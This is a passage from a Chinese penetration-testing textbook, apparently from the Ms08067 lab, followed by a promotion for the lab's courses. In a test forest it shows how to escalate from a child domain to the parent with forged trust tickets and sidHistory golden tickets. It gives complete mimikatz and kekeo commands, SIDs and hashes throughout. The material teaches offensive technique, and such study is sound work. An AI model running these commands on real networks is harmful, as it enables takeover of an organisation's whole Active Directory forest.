利用域信任金鑰獲取目標域許可權
搭建符合條件域環境,域林內信任環境搭建情況如下,如圖7-8所示。
父域域控:dc.test.com (Windows Server 2008 R2)
子域域控:subdc.test.com (Windows Server 2012 R2)
子域內計算機:pc.sub.test.com (Windows 7)
子域內普通使用者:sub\test
圖 7-8 域林內信任環境
工具mimikatz可以在域控制器上匯出並偽造信任金鑰,工具kekeo可以請求訪問目標域中目標服務的TGS票據。使用這兩個工具我們便可以偽造具有sidHistory的票據,然後獲取目標域的許可權。
mimikatz下載地址:https://github.com/gentilkiwi/mimikatzkekeo下載地址: https://github.com/gentilkiwi/kekeo在subdc.test.com上使用mimikatz獲取所需要的資訊,命令如下所示。Mimikatz.exe privilege::debug “lsadump::lsa /patch /user:test$” “lsadump::trust /patch” exit
結果如圖7-9中所示。①為當前域的sid,圖7-9中②為目標域的sid,圖7-9中③為信任金鑰,這裡使用了兩種方法獲取信任金鑰,實際操作時選擇一種即可。獲取資訊後的其它操作在域內計算機(pc.sub.test.com)上使用普通域使用者許可權(sub\test)執行即可。
圖 7-9 使用mimikatz獲取所需要的資訊
接著使用Mimikatz建立偽造的信任票證,輸入如下命令。
Mimikatz “Kerberos::golden /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /rc4:e7f934e89f77e079121b848b8628c347 /user:DarthVader /service:krbtgt /target:test.com /ticket:test.kirbi” exit
命令中domain引數指定當前域名,sid引數指定當前域的sid,sids引數指定目標域的sid-519,代表我們偽造的使用者屬於目標域企業管理員組,rc4引數指定信任金鑰,user引數指定偽造的使用者名稱,service引數指定需要訪問的目標服務,target引數指定目標域名,ticket引數指定儲存票據的檔名,如圖7-10所示。
注:第一次訪問域控時的提示文字重複是mimikatz執行時導致的輸出異常。
圖 7-10使用Mimikatz建立偽造的信任票證
利用建立的名為test.kirbi的Trust Ticket檔案獲取目標域中目標服務的TGS並儲存到檔案中,輸入如下命令,如圖7-11所示。
Asktgs test.kirbi CIFS/DC.test.com
圖 7-11取目標域中目標服務的TGS
然後將獲取到的TGS票據注入到記憶體中,輸入如下命令,結果如圖7-12所示。
Kirbikator lsa CIFS.DC.test.com.kirbi
最後就可輸入下列命令,使用偽造的許可權成功訪問目標服務,如圖7-12所示。
dir \\dc.test.com\C$
圖 7-12TGS票據注入到記憶體並訪問目標服務
利用krbtgt雜湊獲取目標域許可權
Mimikatz可以在構建黃金票據時設定sidHistory,因此如果攻擊者獲取了林內任意域的krbtgt雜湊,就可以利用sidHistory獲得整個林的完整許可權。
首先透過powerview在域內計算機(pc.sub.test.com)上使用普通域使用者(sub\test)許可權獲取當前域和目標域的sid,如圖7-13所示。
Powerview mimikatzhttps://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
圖 7-13獲取當前域和目標域的sid
注:常用獲取域使用者sid方法
u wmic useraccount get name,sidu whoami /useru adfind.exe -sc u:test|findstr sidu Powerview
在域控上使用mimikatz獲取krbtgt雜湊,這裡介紹了兩種方法,實際操作時選用其中一種即可,如圖7-14所示。
l 命令1:mimikatz.exe privilege::debug “lsadump::lsa /patch /user:krbtgt” sekurlsa::krbtgt exitl 命令2:sekurlsa::krbtgt
圖 7-14獲取krbtgt雜湊
在子域內計算機(pc.sub.test.com)上使用普通使用者許可權(sub\test)構造並注入黃金票據,即可獲取目標域的許可權。命令如下。
Mimikatz “Kerberos::golden /user:Administrator /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /krbtgt:7ca9fc3b5aa4776f017bfc29649b36f5 /ptt” exit
命令中user引數指定了偽造的使用者名稱,domain引數指定當前域名,sid引數指定當前域的sid,sids引數指定目標域的sid-519,代表我們偽造的使用者屬於目標域企業管理員組,krbtgt引數指定krbtgt雜湊,ptt代表將票據注入到記憶體中,如圖7-15所示。
最後就可輸入下列命令,成功訪問目標服務,如圖7-15所示。
dir \\dc.test.com\C$
圖 7-15獲取目標域的許可權
Ms08067安全實驗室專注於網路安全知識的普及和培訓,是專業的“圖書出版+培訓”的網路安全線上教育平臺,專注於網路安全領域中高階人才培養。
平臺已開設Web安全零基礎就業,Web高階安全攻防進階,紅隊實戰攻防特訓,Java程式碼安全審計,惡意程式碼分析與免殺實戰,CTF基礎實戰特訓營,網路安全應急響應,安全工具開發,AI與網路安全等系統培訓課程。實驗室出版安全圖書《Web安全攻防:滲透測試實戰指南》、《內網安全攻防:滲透測試實戰指南》、《Python安全攻防:滲透測試實戰指南》、《Java程式碼審計:入門篇》等。